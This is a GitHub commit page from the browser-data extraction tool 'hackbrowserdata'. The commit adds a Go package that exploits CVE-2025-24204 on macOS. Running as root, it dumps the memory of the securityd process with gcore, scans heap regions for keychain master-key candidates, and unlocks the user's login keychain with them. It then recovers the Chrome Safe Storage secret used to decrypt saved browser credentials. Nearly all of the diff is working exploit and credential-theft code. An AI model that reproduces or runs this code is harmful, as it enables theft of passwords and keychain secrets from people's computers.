Skip to content

Commit f2b0e4b

Browse files
authored
feat: Decrypt the browser master key on macOS via CVE-2025-24204 (#494)
* feat: Decrypt the browser master key on macOS via CVE-2025-24204 * fix: resolve lint warnings and stabilize tests * feat: default to gcoredump key extraction on macOS
1 parent 1a04abb commit f2b0e4b

File tree

5 files changed

+971
-1
lines changed

5 files changed

+971
-1
lines changed

browser/chromium/chromium_darwin.go

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ import (
1111
"os/exec"
1212
"strings"
1313

14+
"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump"
1415
"github.com/moond4rk/hackbrowserdata/crypto"
1516
"github.com/moond4rk/hackbrowserdata/log"
1617
"github.com/moond4rk/hackbrowserdata/types"
@@ -24,6 +25,18 @@ var (
2425
func (c *Chromium) GetMasterKey() ([]byte, error) {
2526
// don't need chromium key file for macOS
2627
defer os.Remove(types.ChromiumKey.TempFilename())
28+
29+
// Try get the master key via gcoredump(CVE-2025-24204)
30+
secret, err := gcoredump.DecryptKeychain(c.storage)
31+
if err == nil && secret != "" {
32+
log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
33+
if key, err := c.parseSecret([]byte(secret)); err == nil {
34+
return key, nil
35+
}
36+
} else {
37+
log.Warnf("get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...", err)
38+
}
39+
2740
// Get the master key from the keychain
2841
// $ security find-generic-password -wa 'Chrome'
2942
var (
@@ -43,10 +56,15 @@ func (c *Chromium) GetMasterKey() ([]byte, error) {
4356
return nil, errors.New(stderr.String())
4457
}
4558

46-
secret := bytes.TrimSpace(stdout.Bytes())
59+
return c.parseSecret(stdout.Bytes())
60+
}
61+
62+
func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
63+
secret = bytes.TrimSpace(secret)
4764
if len(secret) == 0 {
4865
return nil, errWrongSecurityCommand
4966
}
67+
5068
salt := []byte("saltysalt")
5169
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
5270
key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)
Lines changed: 227 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,227 @@
1+
//go:build darwin
2+
3+
package gcoredump
4+
5+
// CVE-2025-24204
6+
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
7+
// https://support.apple.com/en-us/122373
8+
9+
import (
10+
"debug/macho"
11+
"encoding/binary"
12+
"errors"
13+
"fmt"
14+
"os"
15+
"os/exec"
16+
"path/filepath"
17+
"strconv"
18+
"strings"
19+
"time"
20+
"unsafe"
21+
22+
"golang.org/x/sys/unix"
23+
24+
"github.com/moond4rk/hackbrowserdata/log"
25+
"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
26+
)
27+
28+
var (
29+
homeDir, _ = os.UserHomeDir()
30+
LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
31+
)
32+
33+
func GetMacOSVersion() string {
34+
v, err := unix.Sysctl("kern.osproductversion")
35+
if err == nil {
36+
return v
37+
}
38+
return ""
39+
}
40+
41+
func FindProcessByName(name string, forceRoot bool) (int, error) {
42+
buf, err := unix.SysctlRaw("kern.proc.all")
43+
if err != nil {
44+
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
45+
}
46+
47+
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
48+
if len(buf)%kinfoSize != 0 {
49+
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
50+
}
51+
52+
count := len(buf) / kinfoSize
53+
for i := 0; i < count; i++ {
54+
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
55+
// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
56+
pname := byteSliceToString(proc.Proc.P_comm[:])
57+
if pname == name {
58+
// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
59+
// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
60+
// If P_ppid is missing, we can rely on P_ruid.
61+
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
62+
return int(proc.Proc.P_pid), nil
63+
}
64+
}
65+
}
66+
return 0, fmt.Errorf("securityd process not found")
67+
}
68+
69+
type addressRange struct {
70+
start uint64
71+
end uint64
72+
}
73+
74+
func DecryptKeychain(storagename string) (string, error) {
75+
if os.Geteuid() != 0 {
76+
return "", errors.New("requires root privileges")
77+
}
78+
79+
// find securityd PID
80+
pid, err := FindProcessByName("securityd", true)
81+
if err != nil {
82+
return "", fmt.Errorf("failed to find securityd pid: %w", err)
83+
}
84+
85+
corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
86+
defer os.Remove(corePath)
87+
88+
// dump securityd memory:
89+
// gcore -d -s -v -o core_path PID
90+
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
91+
if err := cmd.Run(); err != nil {
92+
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
93+
}
94+
95+
// find MALLOC_SMALL regions
96+
regions, err := findMallocSmallRegions(pid)
97+
if err != nil {
98+
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
99+
}
100+
101+
// open core dump
102+
cmf, err := macho.Open(corePath)
103+
if err != nil {
104+
return "", fmt.Errorf("failed to open core dump: %w", err)
105+
}
106+
defer cmf.Close()
107+
108+
// scan regions
109+
var candidates []string
110+
seen := make(map[string]struct{})
111+
for _, region := range regions {
112+
// read region data
113+
data, vaddr, err := getMallocSmallRegionData(cmf, region)
114+
if err != nil {
115+
// Region might not be in core dump or other error, skip
116+
continue
117+
}
118+
// Search for pattern
119+
// 0x18 (8 bytes) followed by pointer (8 bytes)
120+
for i := 0; i < len(data)-16; i += 8 {
121+
val := binary.LittleEndian.Uint64(data[i : i+8])
122+
if val == 0x18 {
123+
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
124+
if ptr >= region.start && ptr <= region.end {
125+
offset := ptr - vaddr
126+
if offset+0x18 <= uint64(len(data)) {
127+
masterKey := make([]byte, 0x18)
128+
copy(masterKey, data[offset:offset+0x18])
129+
130+
keyStr := fmt.Sprintf("%x", masterKey)
131+
if _, found := seen[keyStr]; !found {
132+
candidates = append(candidates, keyStr)
133+
seen[keyStr] = struct{}{}
134+
log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
135+
}
136+
}
137+
}
138+
}
139+
}
140+
141+
}
142+
143+
// fuzz master key candidates
144+
for _, candidate := range candidates {
145+
kc, err := chainbreaker.New(LoginKeychainPath, candidate)
146+
if err != nil {
147+
log.Debugf("Failed to unlock keychain: %v", err)
148+
continue
149+
}
150+
151+
records, err := kc.DumpGenericPasswords()
152+
if err != nil {
153+
log.Debugf("Failed to unlock keychain: %v", err)
154+
continue
155+
}
156+
for _, rec := range records {
157+
if rec.Account == storagename {
158+
// TODO decode base64 password
159+
if rec.PasswordBase64 {
160+
}
161+
return rec.Password, nil
162+
}
163+
}
164+
}
165+
166+
return "", nil
167+
}
168+
169+
func findMallocSmallRegions(pid int) ([]addressRange, error) {
170+
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
171+
output, err := cmd.Output()
172+
if err != nil {
173+
return nil, err
174+
}
175+
176+
var regions []addressRange
177+
lines := strings.Split(string(output), "\n")
178+
for _, line := range lines {
179+
line = strings.TrimSpace(line)
180+
if strings.HasPrefix(line, "MALLOC_SMALL") {
181+
parts := strings.Fields(line)
182+
if len(parts) < 2 {
183+
continue
184+
}
185+
rangeStr := parts[1]
186+
rangeParts := strings.Split(rangeStr, "-")
187+
if len(rangeParts) != 2 {
188+
continue
189+
}
190+
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
191+
if err != nil {
192+
continue
193+
}
194+
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
195+
if err != nil {
196+
continue
197+
}
198+
regions = append(regions, addressRange{start: start, end: end})
199+
}
200+
}
201+
return regions, nil
202+
}
203+
204+
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
205+
for _, seg := range f.Loads {
206+
if s, ok := seg.(*macho.Segment); ok {
207+
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
208+
data := make([]byte, s.Filesz)
209+
_, err := s.ReadAt(data, 0)
210+
if err != nil {
211+
return nil, 0, err
212+
}
213+
return data, s.Addr, nil
214+
}
215+
}
216+
}
217+
return nil, 0, fmt.Errorf("region not found in core dump")
218+
}
219+
220+
func byteSliceToString(s []byte) string {
221+
for i, v := range s {
222+
if v == 0 {
223+
return string(s[:i])
224+
}
225+
}
226+
return string(s)
227+
}

0 commit comments

Comments
 (0)